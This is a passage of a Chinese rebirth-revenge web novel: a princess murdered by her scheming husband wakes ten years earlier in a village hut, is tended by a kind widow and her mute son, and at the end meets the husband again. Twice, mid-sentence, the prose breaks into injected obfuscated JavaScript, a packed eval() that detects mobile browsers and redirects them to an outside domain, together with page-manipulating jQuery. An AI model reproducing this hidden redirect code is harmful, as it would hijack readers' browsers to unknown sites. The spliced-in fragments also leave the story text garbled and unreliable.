《重生后嫁给绿茶小哑巴》 1. 第一章 方漾死在了离九五之尊之位一步之遥的台阶上。 辜知易手持血刃、眼泛寒光,仿佛他们之间十余年的夫妻之情从未存在过。 大婚时他激动得微微颤抖的手,她九死一生从战场上回家时他眼角的泪光…… 原来都是装的。 方漾这么想着,心底的不甘心与怨恨疯狂生长。 她从小习武,又在边疆战场上摸爬滚打十余年,早养成了不服输的性子。 被辜知易欺骗固然有她识人不清的错,但她绝不会为此放过这个男人。 此刻她只想将他抽筋扒皮,再生啖其肉…… 可腹部的剧痛让她四肢力气尽散,只能凭着一腔怒气瞪圆了眼看向那个面目可憎的男人。 “你就那么爱我吗?”辜知易撩开袍子,半跪着蹲下身,将指尖的鲜红血液抹在方漾苍白的嘴唇上,“怎么快死了还用这么深情的目光看我?” “嗬……嗬!”方漾想骂他,但喉头犹如灌入了万斤黄沙,粗粝的沙子将喉管划破,堵得她气都喘不上来。 他脸上戏谑的表情很陌生,相处的十几年间他隐藏得极好,方漾未曾觉察过。 所以他的担忧是装的,深情也是装的…… 他的海誓山盟、柔情蜜意全是装的…… 辜知易似乎能看出来她在想什么。 “没错,装了几十年……”他剑眉下压,凤眸被压得狭长,露出凶光,“我等的就是这一刻......” “方勤时是九五至尊,随意一句话就能毁人一生!但他可曾想过,十八年前他的那句‘随意处置’害多少无辜百姓丧命、多少和睦之家破碎?”他声音嘶哑。 “这些年他夜夜惊醒就是报应!”辜知易伸手掐住方漾的下颌,强迫她仰头看向自己,“你也是他的报应!” 方漾憋得双目赤红,她前二十八年的人生中,有一半以上的时间都在向方勤时证明自己,另外的时间则是想方设法将他拉下至尊之位。 在斗方勤时的路上,辜知易为她提供了坚定的支持,在她受到挫折、意欲退缩时,他还会及时给予鼓励。 她曾以为辜知易是她的知己,是全天下唯一一个,支持她“弑父”的人。 “方漾......”辜知易松了钳制住她下颌的手,缓缓起身,随后一脚踩上她的耳朵,将她的头碾在地上,温柔又低沉的声音响起,“你就从来没想过吗?我那么恨方勤时,又怎么会对他的亲生女儿生出情愫呢?” 方漾觉得头快被压爆了,眼珠几乎要脱框而出。 此刻身体的痛与心中的恨交织,她真想反手将面前这个男人的头拧下来,可她先被下毒后被捅腹,已然没了反抗的可能,只能无力地等死。 “方漾,去死吧。” 随着辜知易的声音落下,方漾忽然觉得眼前景色旋转起来,在她意识到发生什么之前,只听见辜知易缥缈的声音传来。 “夫妻一场,这是我对你最后的仁慈。” 方漾陷入了一场无边无际的黑暗,这暗处极冷,似是要将她的四肢百骸都冻住。 她睁不开眼,也摸不到任何东西,只感觉到冷,无穷无尽的冷。 这黑冷如潮水般将她包围,越来越紧、越来越紧。 她意识到这是一种无声的压迫,这鬼地方想叫她投降,但她这辈子最不会做的事就是投降。 不知咬牙坚持了多久,黑渐渐散去了,她能感觉到眼皮外亮了起来,身体虽感知不到热度,但能够被她操控了。 方漾努力动了动手指,而后睁开眼。 眼前一片模糊,她用力眨了眨,试图让眼睛不那么干涩,面前的东西渐渐清晰起来。 入目是一个很旧的顶棚,晒干的茅草层层叠叠堆得很密实,房梁用的木头积了灰,方漾看不出是什么树的木头。 然而她想她根本无需知道这是什么树木,因为她住过的、屋顶这么密实的茅草屋只有一个。 “公主?”一个温和的妇人声音响起。 方漾的耳朵动了动,头微微转过去,看向来人,心口涌上一股热流,眼眶也变得有点酸。 “来喝点水......”穿着粗布衣裳的妇人上前扶起方漾,让她靠在自己的肩头喝了半碗温水下肚。 寒冬腊月里,用秸秆与竹子扎成的墙壁和门不够密封,寒气从边边角角侵入,方漾的脑子清醒了不少。 看着面前早已被五马分尸的和善妇人,方漾忍不住蹙眉。 妇人见她蹙眉,忙退开身子,“扑通”一声跪倒在地,不住磕头道:“贱妇冒犯了公主,请公主恕罪......” “快起来......”方漾想去搀她,身子却绵软得不能动弹,开口后才发现自己的声音又粗又闷。 “您快些躺下休息吧......”妇人膝行至床前,替方漾掖了掖被角。 不等方漾再开口,那妇人便低着头自报家门:“贱妇是乔嬷嬷的手帕交,是她将公主交予我照料,有血书为证。”说着,她从腰间取出一块沾血的帕子。 方漾不愿再看,别过脸去,哑声道:“我知道了。” 妇人见她不欲说话,只当她是被逐出宫,心生绝望。 但此事妇人也无可奈何,只能将血书收起,再轻声告退,给方漾留下独处的空间。 木门吱呀声响过后,方漾又将头转向门口方向,心中掀起惊涛巨浪:这是死后的美梦吗? 舌尖刺痛告诉她不是的。 这里的一切都是真的,冰凉的感觉和被子上残留的豆腥味都是真的——在被辜知易砍头后,她重新回到了十年前。 那么究竟哪一段记忆才是梦呢? 眼下她正在距都城临占千里之外的双宵葫芦镇满勾村里,十八岁的她刚从南边涵柘战场上凯旋。 几日前,方勤时还在大殿上对她大肆赞扬,许黄金万两、良田千亩...... 方漾看着方勤时开怀大笑,天真以为自己得到了他的认可,在当晚庆功宴上喝得不省人事,却不知这一切都是方勤时做的局。 方勤时身子差,即便后宫佳丽三千,也只为他诞下一儿一女。 长女方漾由前皇后卢夏所生,次子也就是当今太子,方天佑,由黛妃所生,与方漾只差了半岁。 方天佑受尽方勤时宠爱,惯喜欢偷懒耍滑,在学业与武术方面都不及方漾。 两人年纪还小时,朝中便有戏言称方漾比方天佑更有九五之相。 正所谓功高震主,方漾一个女子又兼公主之名,能在军中有如此威望,怎能叫人不胆寒? 庆功当晚,方勤时趁她有了醉意,便叫人换上掺了迷药的酒。 看着父皇递过来的酒,单纯的方漾心头狂跳——她从未见过方勤时对自己展露过那样和蔼的笑容。 父皇终于看见我了,他终于...... 想起这些年在战场上的艰难困苦,酒意上头的方漾接过酒杯,烈酒滑过喉头的一瞬,似是将她这些年的难过与委屈都一并吞了进去,两杯下肚她便趴在桌上没了知觉。 方勤时原想将她杀死后拖去城外乱葬岗,却没想方漾的奶嬷嬷乔浣玉,在方漾挨了一刀被拖出宫后,冒死将她救了出来。 方漾出生时母亲大出血去世,方勤时见她是女子便不欲多看,可以说她是被奶嬷嬷乔浣玉一手带大的。 乔浣玉从小便教导她,宫中人无情,帝王家尤甚。 可年幼的方漾只知晓母后已逝,外祖家对她也并不热络,她只剩下父皇了,若不讨好父皇,她又如何能在这复杂的皇宫中生存下去呢? 可腹部的剧痛与简陋的茅草屋都在告诉方漾——方勤时想杀你,他从始至终都未对你有过半分父女之情。 方漾抬手碰了碰左腹的伤口,这是方勤时叫人捅的,与十年后辜知易捅的,是同一个地方。 相同的疼痛叫她有些恍惚,她曾以为自己早在战场上练就了金刚不坏之身,经历过方勤时的抛弃,她的心也变得坚如磐石。 可辜知易生生将这石头撬开了一道缝,撒上了一粒种子。 它在方漾心中生根、发芽,却在嫩叶舒展的那刻,被亲手种下它的人连根拔起。 “呵......”方漾仰躺在床上,抚着伤口的手卸了力,这声对自己发出的讥笑牵扯了伤口。刺痛过后是缠绵的钝痛。 这钝痛并非忍一时便能过去,而是密密麻麻的、从伤口深处源源不断涌出的痛。 真可笑,同一个伤口被捅开两次,她真是蠢得可以...... 痛死也活该,就该痛上一辈子,叫她永生永世不得忘记才好。 方漾又一次抬手摸上了伤口,只是这次动作不再小心,而是极其随意且用力地按了上去。 “嘶......”疼痛让她瞬间清醒。 这次她非常肯定,她是真的回到了十年前! 深吸一口气后,方漾开始梳理眼下的情况。 乔浣玉散尽钱财雇人将她从方勤时的人手中救下,自己却被方勤时的人抓住活活打死抛尸。 这茅草屋是乔浣玉的手帕交施慕虹的家,方才那妇人便是施慕虹。 乔浣玉与施慕虹本都是官宦之家的小姐,早年也是有过富裕日子的。后来乔浣玉的父亲犯了事,她被判入宫成了宫女,分在皇后卢夏的殿中做事。 宫中沉浮数年后,总算熬到了出宫的年纪。当时她与给御膳房送菜的送菜伙计互通心意,出宫后便结为夫妻,没多久便怀了孩子。 彼时皇后卢夏也怀上了方漾,身边的宫女太监们全被后宫其他嫔妃换了人,她每日都过得如履薄冰。 眼见着肚子一日比一日大,卢夏心中的不安也越来越强,手下连个能用的人都没有,她不得已向宫外的乔浣玉递了消息。 恰好乔浣玉出月子,便以奶嬷嬷的身份再次入宫,守在卢夏身边。 乔浣玉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333308|183351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得清楚明晰,入宫前便同送菜人和离,让他带着孩子离开都城临占,走得越远越好。 此番入宫,她便没想活着回来。 “皇后是个极心善的人,她殿中的下人都承过她的情......”方漾犹记得乔浣玉同她说起卢夏时,面上带着怀念与惋惜,“我从前是在家当小姐的,初入宫时哪里吃得了苦?是皇后不同我计较,还愿意教我立身之道......我这命是她给的。” 方漾想起自己前世在满勾村苏醒后,还闹着要回临占找乔浣玉,直到她看见了乔浣玉已经腐烂得看不出原貌的尸体,这才算死心。 乔浣玉给施慕虹的血书上写得清楚明白,她这条命是卢夏给的,如今还给了卢夏,她无怨无悔。 方漾用力握了握拳——这命是乔浣玉换给她的,前世她用这命多活了十年。 十年后的她带着手下人一步步从荒凉穷苦的西阚走回临占,位极人臣,统领六十万大军。 她在军中与朝中的威望极高,恰逢方天佑沉迷赌坊,她从西阚回临占后,朝中半数以上的大臣纷纷上书,请求方勤时重新考虑太子之位。 大荆先前不是没有过女皇帝,那位女皇帝在位三十年,大荆风调雨顺、百姓安居乐业。 彼时国力强盛,女皇帝也不怯战,亲自率领二十万大军踏平北部外族,将千里之广的草原收归大荆。 若非女皇帝打下的基础够牢,加上大荆出了一位百年难遇的军事奇才方漾,单凭方勤时又怎能守得住? 不少朝中大臣借由女帝之名,提议方勤时将方漾封为继位者。 此举必然引起方勤时的反感,但也还算在方漾的预料之中。 从方勤时派人捅了她一刀并将她拖出宫开始,父女俩就算是彻底撕破脸了,如今这点朝堂上的口舌之争又算得上什么。 果然方勤时看完奏折勃然大怒,连夜召方漾入宫面圣。 方漾将辜知易给她定制的薄刃软刀缠在腰上,冷冷地瞪了一眼殿外候着想要搜她身的太监公公们,一把推开了大殿的门。 可就在她将方勤时的喉咙割开时,从后面走过来的辜知易也将刀捅进了她腹部...... 思及此,方漾觉得腹部的伤口又开始疼了起来。 “笃笃。” 方漾侧头看向门口,还以为是施慕虹去而复返,却见一个薄瘦的身影挤进门缝来。 一张清秀苍白的脸闯入方漾的视线,她怔了怔,许久不见,倒忘了施慕虹还有个孩子...... “啊......”清秀的少年抬起手比划了两下,张嘴发出了嘶哑的叫声。 方漾眨了眨酸涩的眼睛——真好......一切都重新开始了,这一次,她不会让这个瘦弱的哑巴再经历那些残忍又绝望的事...... “小......”方漾想喊“小勾”,却忽然想起,这名字是前世勾衡入宫当太监后取的奴才名。 “勾衡。” 勾衡愣了一下,一双眼尾微微下垂的无辜眸子盯着方漾看了会儿,忽然抬手指了指门外。 “嗯......”方漾应了一声,“你的名字是你娘告诉我的。” 勾衡点点头,没上前,而是走到离方漾最远的屋子角落,将背上的竹篾背篓卸了下来。 方漾记得勾衡似乎比自己小三岁,她今年十八,那么勾衡就是十五。 少年又瘦又薄的身子套了件浅色袄子,说是袄子,其实不过是两面麻布夹了一层棉缝制而成的衣裳,毫无美感可言,露在袖子外面的手背上全是冻疮——看来这衣裳的保暖作用也存疑。 勾衡半跪着将竹篾里的干茅草取了出来,从后面看,他身上干硬的衣裳像宽大的龟壳一样压在背上。 方漾想起前世最后一次见到少年时的场景。 彼时她被方勤时从葫芦镇抓回去,软禁于宫中。 方勤时关了她一个多月,才告知她,先前派去西阚的老将军意外离世,大荆其他将军又有各自镇守之要地,将领的派遣有些捉襟见肘,方勤时不得不请出方漾。 方漾恨方勤时,但她是从小在战场上摸爬滚打出来的,见多了战事无情,见多了百姓家破人亡、流离失所,心中实在不忍。 且辜知易同她说,西阚战事是个很好的机会,若她能打胜仗,便能堂堂正正回宫受赏,到时名望与权位一并得手,想取方勤时的命,简直如探囊取物。 接下出征诏书后,方勤时与方漾都怕夜长梦多,于是一个默许、一个主动,在接诏第二日清晨便点兵出发了。 军队路过城门时,她忽然听到了一声声嘶哑的叫喊,这声音很难听,犹如指抓砂壶,但她却觉得有些熟悉,于是回头望过去。 只见勾衡满头大汗、苍白着脸踉踉跄跄在队伍后头追,他的身体似乎永远停留在了少年时候,依旧那样清瘦,套在宽大的太监袍子中,显得格格不入...... 不对,套在什么中? 2. 第二章 方漾蹙眉细看,这才发现勾衡一边跑一边捂着小腹,似是疼痛至极,她想勒马转身,却被辜知易喊了回去。 “你且放心上战场,那孩子我会替你照料。” 出于对自己夫君的信任,眼下情境又耽误不得,方漾只好冲辜知易点点头,然后扯起缰绳,头也不回地出了城。 待她凯旋回到临占,再问起辜知易此人时,辜知易只随口道:“小勾年纪轻,不懂宫中规矩,心智也不够坚定,被一同入宫的太监们说了几句便想不开跳了井......” 方漾想起那少年一贯的谨慎懦弱模样,对辜知易的这种说法深信不疑。 “啊......”一声嘶哑的叫声响起,将方漾从前世的回忆中拉了回来。 勾衡将背来的茅草都铺在屋子角落,那是他和施慕虹临时的“床”——家里只有一张床,给方漾睡了。 他看见方漾一直睁着眼睛发呆,于是上前喊了一声。 “嗯?”方漾从鼻腔哼了一声。 勾衡将手放在嘴边扒拉了两下,黑白分明的眸子里写满了询问之意。 好歹前世在施慕虹这里住了好一段日子,方漾还是很容易看懂勾衡手上比划的意思的。 这是在问她饿不饿,想不想吃饭呢。 “有什么吃的吗?”方漾也不客气,既然上天给了她一次重来的机会,那么她一定会牢牢把握住,首先就是要将身体养好。 勾衡指了指门外,而后拾起已经掏空了的竹篓走了出去。 方漾看见他的背影消失在门口右手边,猜测他是去厨房了。 乔浣玉是因为父亲犯事才被牵连落难,施慕虹家则是遇人不淑,爹娘被歹人骗了大半积蓄,还被临占的商会记了黑名单,无奈只能举家搬迁至双宵。 双宵位居大荆领土中北部,虽不靠着边疆战场,却是征兵的好地方。 彼时战乱四起,生意不好做,施家在双宵无依无靠,想白手起家却又赔了钱进去。 没多久,边疆派人来征兵,施家但凡能动的男丁都被强制押上了战场。 施家没了男人,几个弱女子手握银钱,顿时成了心怀不轨者眼中的香饽饽。 施母弃了锦衣华服,带着施慕虹躲进葫芦镇满勾村中,其余姨娘、丫鬟们也各自分了金银首饰逃命去了。 村子一向排外,施母不敢高调,将自己与女儿打扮得蓬头垢面,装作边疆战场逃出来的难民。 起初施慕虹跟着施母住在村外破庙中,施母每日在庙前等着,见了面善的村民便上前搭话,一来二去的,竟也有了几位熟识。 施家母女真正搬入满勾村已经是两年后了,边疆战事缓和,朝廷鼓励村落收留难民,满勾村便优先将相熟的施家母女纳入了村中。 施母用身上为数不多的积蓄盖了这间并不起眼的茅草屋,虽然屋子简陋,却也在右手边多盖了一间小屋子当厨房,左边则是更小的屋子,屋子里放着马桶,勾衡每天早上都会把马桶挑到菜园里去。 方漾还记得自己前世刚到这里时,曾经自告奋勇要帮勾衡挑马桶,结果因为伤未痊愈,力气不够,挑着担子走到一半就摔了跤。 粪便混着尿骚味扑鼻而来,将她的裤腿浸湿。 饶是她这个在战场泥坑里打滚都毫不在意的将军,都忍不住屏住了呼吸,呆呆地看着裤腿上的脏污。 最后是勾衡将马桶挑去了菜园,然后折返回来将方漾带回了茅草屋。 没有裤子穿的方漾坐在床上,用满是补丁的棉被将自己裹得紧紧的,侧耳去听外面院子里的水声——勾衡在给她洗裤子...... 双宵毕竟靠北边,冬日寒风割人,虽然有温热的井水,却也遭不住在大雪天的屋子外面洗衣服。 勾衡捧着洗干净的裤子回屋的时候,方漾看见他的两只手肿得像萝卜。 屋外传来水桶掉入井中溅起水花的声音,随后是陶罐碰撞炉子的声音......方漾细细听着勾衡给她做饭,一如前世竖着耳朵听勾衡给她洗裤子。 勾衡虽口不能言,但手脚麻利,没一会儿便端着粥来敲门。 方漾接过缺了口的瓷碗,低头看了一眼,里面是小半碗沉底的白米,上面一大半都是米汤。 换了旁人怕是要说勾衡苛待自己,但方漾心里清楚,施慕虹与勾衡平日里是根本不舍得吃白米的,更别说能铺满碗底还堆起来的这么多白米。 “我才刚醒,消化不了米粒,给我一点米汤就好了。” 勾衡听了,忙摆摆手,指了指方漾手中的碗,比了个大拇指。 少年细瘦的腕子在方漾面前晃,她忍不住在心中叹气——半大孩子每天都吃不饱,难怪前世他的身子一直是少年模样...... 方漾低头看着碗中的白米,眼下她卧病在床,当务之急是养好身子,不然何谈复仇? 思及此,她也不再推辞了,仰头将稀稀拉拉的白粥一饮而尽。 勾衡上前接过空碗,正要转身离开,又听方漾喊他。 “勾衡,现在外面怎么样了?”她想知道现在大荆的情形同前世是否一样,若是有出入的话,她就要早做打算了。 勾衡重新回到床边,手上还端着空碗,秀气的眉毛蹙起,似是有些为难。 “不用比划,我问你答,是就点头,不是就摇头,可以吗?”方漾说了一个两人沟通起来最顺畅的法子,上一世她就是这么同勾衡“说话”的。 勾衡的脸遗传自施慕虹,秀气精致。黑眉与凤眸看着英气十足,但圆润的鼻梁线条和优点肉感的嘴唇却将他的阳刚之气打散了些,显得无辜又纯真。 勾衡顶着那张无辜又纯真的脸,认真点了点头。 “方勤时向天下百姓昭告我死了吗?” 勾衡摇摇头,抬起手,似乎想比划什么,又怕方漾看不懂,只好僵举在空中,不知如何是好。 “他是不是贴了寻人告示,同百姓说我私自出宫了?” 勾衡的眉毛挑起,凤眸变圆眸,脸上写满了惊奇,用力地点了点头。 方漾冷不丁被他这鲜活的表情逗笑了。 前世她花了十年从西阚回到临占皇宫中,一路上遇到了许多形形色色的人,有真诚善良的,也有满腹阴谋的。 后来她发现自己只要越接近皇宫,身边人的面具就越厚,以至于她前世的最后几年中几乎有些分不清身边人的脸了。 每个人脸上的表情都是相似的,相似的刻板无趣,叫人难以捉摸,她看得心烦。 猛然看见勾衡这样灵动鲜活的表情,她忽然心情大好,扯着嘴角笑了起来。 见她忽然发笑,勾衡端着碗的手有些紧张地抠着碗边,不知该作何反应。 方漾的长相是明艳大气型的,卢皇后尚在闺中时,便是以这种大气长相闻名大荆,后来被方勤时接进宫中,许了后位。 卢夏与勾衡不是一代人,是以勾衡对卢夏的印象多是道听途说,但少年人难免对这样的“风云人物”好奇,听施慕虹说,方漾与卢皇后长得很像,勾衡便小心翼翼地看向方漾的脸。 她笑起来的时候眸子是弯的,浓淡适宜的眉毛展开,配着红唇边的小括弧,很是明媚动人。 方漾笑完,发现勾衡正盯着自己,一脸着迷的模样,她忽然反应过来,辜知易说的“这是我对你最后的仁慈”是什么意思。 辜知易砍了她的头,若是不砍,依着她的名声与她这张脸,尸体被扔出去怕是会遭人玷污...... 勾衡眼睁睁看着方漾的表情从开心变为落寞,不知她是想到了什么。 “啊、啊?”他张了张嘴,发出嘶哑的声音。 方漾从回忆中抽身,看向面前的少年,勾起嘴角笑道:“我没事,就是接下来要麻烦你和施姨了。” 勾衡端着空碗离开后,方漾嘴角的笑就消失了。 眼下的情况同前世一样,方勤时昭告天下公主“私自出宫”,请求天下百姓帮忙寻找,看似父女情深,实则将她的通缉令当成了寻人启事张贴。 若是遇上好心百姓,就会将她的行踪告知方勤时,方勤时再派人来抓;若是遇上歹人,抓她去向方勤时要钱财还是好的,多的是想要她命的。 朝堂上既然有看好她的大臣,就自然也有拥护方天佑的臣子,如今她出了宫,对方天佑一党来说简直算是“天赐良机”了。 前世她就是在这前有狼后有虎时遇到了辜知易,当时他和他娘正住在满勾村隔壁的织段村。 辜知易本 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先前同辜家交好的商贾想接济他们,却被官员以“勾结”为由一同抄了,此后无人再敢向被抄没的商贾伸出援手。 辜知易的父亲拖着断了的双腿,在寒冬腊月里苦苦支撑了十余天,最后因未得妥善医治,死在了城外的破庙里。 辜父死后,辜母带着辜知易离开了临占,一路乞讨走到了双宵。 辜母从前是个好命人,无忧无虑长到了出嫁的年纪,被辜父娶回家后除了生育之苦,再没操心劳累过半分。 眼下依靠倒了,她又饿又怕,看着还在抽条长身体的辜知易正冻得嘴唇发紫,她深知此次生活的重担终于落在了她肩头。 她没有什么手艺,但好在识字。尚在闺中时,她的字是常被夫子称赞的。 起先她是帮着镇子上的书局抄书,后来书局掌柜说有赚钱的本子给她抄,不过不是什么史书经典,而是市井小说。 她还在供着辜知易读书,当然二话不说便接了这活儿。 只是真正翻开准备抄写时才发现,这哪里是什么市井小说,分明是淫词艳曲! 大荆的书局在明面上是不敢卖这些的,被抓了轻则罚款、重则游街示众后关押。 从表面上看,大家都不敢碰这类书,但也正是因为如此,这些书便显得“难得”。 物以稀为贵,“难得”的东西总能引起有钱人的兴趣,市场有需求,孤本又难满足,抄本之业便悄然滋长起来。 先前辜母抄书时,会让辜知易在一旁看着,只因书局给的书很不错,是他们买不起,但辜知易考学需读的,她便如此让他“蹭书”看。 自从接了“市井本子”,辜母便不再让辜知易看着她抄书了。 如书局老板所言,抄这种本子比抄普通本子赚钱,她越接越多,抄得越多,她便读得越多,心中对这类本子的不适感愈发强了。 本子里总是写豪门公子遇上极爱取悦男子的妖媚狐狸精,又写穷困书生受贵女提拔照拂平步青云...... 她早早嫁了辜父,心中天然以为,这世上的夫妻该如她与辜父一般和谐互敬,可这些本子总是将女子描述为“血包”,毫无缘由地为男人付出一切,实在叫她心中不适。 当时她已经靠着抄书赚了些钱,便将辜知易送去了葫芦镇上更好的书院,自己仍旧在织段村的小破屋里抄书。 辜知易不在家,她抄完书,闲来无事便写了些以女子为尊的风月本子。 原本是想写来发泄,却不小心夹入了抄送的本子中,阴差阳错流传了出去。本 以为会被书局掌柜扣抄书钱,未曾想她那本子竟受了青眼,有贵女托人传话来说想看后续。 她尝试着往下写,来催她本子的贵女便愈发多了。 渐渐地,她舍了抄书之业,专心写起风月本子来,在圈内名声愈盛,一度超过了当时另一位极有名气的写手。 她为自己的思想能引起共鸣而兴奋,手中白花花的银子也亮得晃眼,使她沉溺其中,看不清周遭逐渐聚拢的危险。 直到那个雨夜,一群男人冲进她的小破屋子,将手无寸铁的她五花大绑...... 3. 第三章 方漾记得,她被方勤时的人带走时,辜母还未出事。 后来她答应出征,解除软禁再次见到辜知易时,他也对此事也是绝口不提。 直到几年后辜知易去西阚战场上探望她,她才从辜知易的手下口中得知此事。 据说辜知易当时疯了一样向宫中给她递信,家底全部都掏空了,她却被困深宫,未曾收到只言片语。 “没事,我当时也是有些病急乱投医了,明知你在宫中处境定然也不好,不该那样孤注一掷的......”辜知易说起这件事时,脸上尽是懊恼与后悔。 当时方漾还有些见不得他那样神伤,于是提出想陪他回到织段村给辜母扫墓,可最后被他婉拒了。 “你还身负重任,待一切都了结了,我们再去双宵扫墓。” 方漾觉得他太懂事太委屈自己,对他的愧疚之情又更深了一层。这样的愧疚将她与辜知易紧紧捆绑,直到最后一刻,他将这把名为“愧疚”的利刃捅进了方漾身体里...... 接下来的日子里,方漾表现得十分安静平和,施慕虹进进出出都会向她投去担忧的目光,仿佛她不该这样沉默,大喊大叫着要去找乔浣玉才是对的。 感觉身旁有人靠近,方漾转过头,一双黑白分明的眸子射出杀意,见是勾衡,她才收了眼中的尖锐。 而勾衡已然很适应她的目光了,不仅毫不避闪地上前将盛着小半碗白米的米汤放在方漾床头,还伸手替她理了理被子。 少年的手在方漾鼻尖划过,她闻到了一股熟悉的豆腥味。 满勾村不是什么有钱的村子,村民大多自给自足,能吃得上白米已算是“富户”了,像勾衡家这么穷的,每日都只能吃豆腐。 吃食与性格一样,短期内不那么显眼,但日复一日地,就能渗透进人的骨子里。 无论如何清洗,勾衡与施慕虹的指尖都有一股豆腥味,挥之不去。 以至于多年后方漾见到自己的士兵从怀里掏出一块干得掉渣的豆腐时,鼻腔中便不自觉盈满了熟悉的豆腥味。 没有人知道,那个喝过热豆腐汤的寒冷雪夜,他们的女将军独自在荒原上哭了大半夜。 喝完米汤,方漾这次没再让勾衡帮她把空碗端走,而是自己拿着空碗下了床。 勾衡见状,忙上前搀住她,却见她转头冲自己笑了笑:“没事,我能站稳,躺了这么久,也该起来活动活动了。” 她尚在病中,脸色有些苍白,但一笑起来,那双凌厉的眸子便化为春水,又柔又亮。 方漾端着空碗出了门,她记得前世的这个时候她闹着要回临占去寻乔浣玉,路上还险些暴露身份被抓走,待见了乔浣玉的尸体,她才死了心跟着施慕虹重新回到双宵。 她便是在这心灰意冷之时遇见的辜知易,彼时她尚不知辜知易的身份,只觉此人身处偏村却心系苍生,且书生气浓,看着儒雅随和,令人心生亲近。 如今想来,怕都是他扮出来的假象。 方漾出了门,感觉眼珠子都要被冻起来了,每次眨眼都觉得眼皮覆在了两颗冰珠子上。 勾衡见她要自己洗碗,忙上前去拦。 “没事,洗碗又不累。”方漾攥着碗蹲下身。 屋子、茅房与厨房围起来的空地算是家里的院子,院子全是泥巴地,好在被踩得实,虽不平整,但也不会一脚踩下去就全是湿泥。 厨房门口用石头垒了一个小圈,圈内挖了一条斜坡沟,细细的小沟穿过石头圈,向院子外延伸,这便是勾衡做的排水沟。 方漾将勾衡存在水缸中的水舀了小半盆出来,井水在水缸中露天放了一日,表面都冻冰了,水温更是冷得刺骨。 方漾将碗放进盆中,手才接触到水,脸就皱成了一团。 “嘶......” 她倒不是不能吃苦的性子,毕竟先前在军中时也过过苦日子。 只不过她先前一直在南边打仗,从未吃过“寒冬”的苦,第一次受这针扎般磨人的痛,心下还是有些惊讶的。 在她的手彻底失去温度前,一双粗糙的手将她捞了出来。 勾衡捧着她的手,用半块全是破洞的干布将她的手擦干,接着伸出手指点了点方漾的手背,又点了点自己满是冻疮的手背,抬起一双带着担忧的眸子冲方漾摇头。 方漾垂眸看着,自己混迹行伍,这双手绝对算不上白嫩,甚至手背还有细细的刀疤。 这段日子躺她在床上休养,手上没干过重活,先前的茧子已经薄了许多,眼下同长着冻疮红肿胀大的勾衡的手相比,倒有几分“娇嫩”模样了。 “让我试试......”方漾同面前的少年商量。 少年这次说什么也不松口,双手紧紧抓着方漾的手,两人的手之间只隔了一层满是破洞的布块。 “那你洗吧。”方漾最终还是败在了少年的倔强之下。 勾衡忙伸手进冰水里,三下五除二利索地将碗洗了。 “你下午要做什么去?” 勾衡将碗放回厨房,又出来把盆里的水倒了,拾起一根堆放在厨房屋檐下的木柴,冲后山处指了指。 “去捡柴火?” 勾衡点头。 “我跟你一起。” 勾衡眨眨眼,猜测方漾是在家里躺久了觉得无聊想出去转转。索性捡柴火不是什么很难的活儿,就当带方漾出去散心了。 施慕虹听说两人要一同上山捡柴火,忙从柜子里取了一件夏日穿的坎肩出来。 方漾不知道她要做什么,于是只站在一旁盯着看,直到施慕虹掏出了剪刀。 “诶!”方漾还没来得及上前阻止,只听“刺啦”一声,坎肩被对半劈开。 施慕虹将劈开的坎肩对半叠成手掌宽,将方漾的手包了起来,嘴里念叨着:“外面风大,当心冻坏手......” 待将方漾的两只手都包好,她又转头叮嘱勾衡:“我看外头天色暗,你多留心,不捡柴火也没事,别淋了雨......” 施慕虹的声音总是柔柔的,即便家道中落这么多年,她少时养成的温和性子也并未有多大变化。 方漾一边听着施慕虹对勾衡的叮嘱,一边低头端详自己手上的布条。 这坎肩应当是勾衡的,原本粗糙密实的麻布料子已经被洗得泛白疏松,几乎看不出原样,因为上面全是各种不同颜色和布料的补丁...... 从她睁眼到现在,只见施慕虹与勾衡换过两次衣裳,基本就是一人两套衣裳来回换,想来夏日里的衣裳也不多,这就直接拿出来剪了给她护手,那勾衡夏日岂不是要光膀子出门了? 思及此,方漾心中有些愧疚起来。 但她的愧疚来得快、去得也快——她不会一辈子都待在满勾村,这一世,她绝不会重蹈覆辙。 她要离辜知易远远的,也不会再对方勤时抱有幻想,待伤养好了,她就直接去西阚。 眼下南边涵柘的仗胜了,全大荆都陷入“战胜”的喜悦中,殊不知西阚赤蛟部落正在酝酿一场大阴谋。 这一次,她要早早赶去西阚,阻止阴谋、阻止百姓遭殃...... 她有信心能在西阚军中闯出自己的一片天地,到时候军功在身,方勤时能耐她何?金银珠宝还不是要拱手奉上? 等她领了赏,就给施慕虹和勾衡买宅子,把他们接去临占享福。 眼下的苦难情境她一时间解不了,但从中感受到的人情味却成为她奋力挣脱这情境的动力。 方漾站在原地轻轻吐出去一口气,平复了一下心绪——别急,一步一步来。 走在她前面几步的勾衡没听到她的脚步声,于是停下转头望着她。 他指了指方漾的腿,而后攥拳在自己的肩头捶了捶,眼睛睁得大大的,里面全是关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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方漾觉得这声音有些熟悉,远远看见树下坐着个人,她拉住还要往前走的勾衡,大声冲那人道:“谁在那里?” 树下之人闻声回头,目光落在了方漾身上,完全忽视了她身边的勾衡。 方漾与那人对上目光,半晌,心中冷哼了一声:还真是冤家路窄啊......辜知易。 她缓缓走近,发现辜知易的脚踝处隐隐透着血迹,不远处躺着一只坏掉的捕兽夹。 辜知易的身边还立着一个只装了一半柴火的背篓,方漾一看便知发生了什么。 左右不过是这个倒霉蛋独自上山见柴火,不小心踩中了村民布下的捕兽夹,腿疼得动弹不得,才靠在树下呼救的。 辜知易见方漾走近,先前直愣愣的目光总算有所收敛,只听低声道:“我不小心被捕兽夹伤了,姑娘可否帮帮我?” 他声音低沉醇厚,前世方漾爱极了他这把嗓子,无论他说什么都给她一种沉稳的感觉,让她安全感满满。 可如今再听,这声音却如毒蛇吐信,让她觉得阴冷又黏腻。 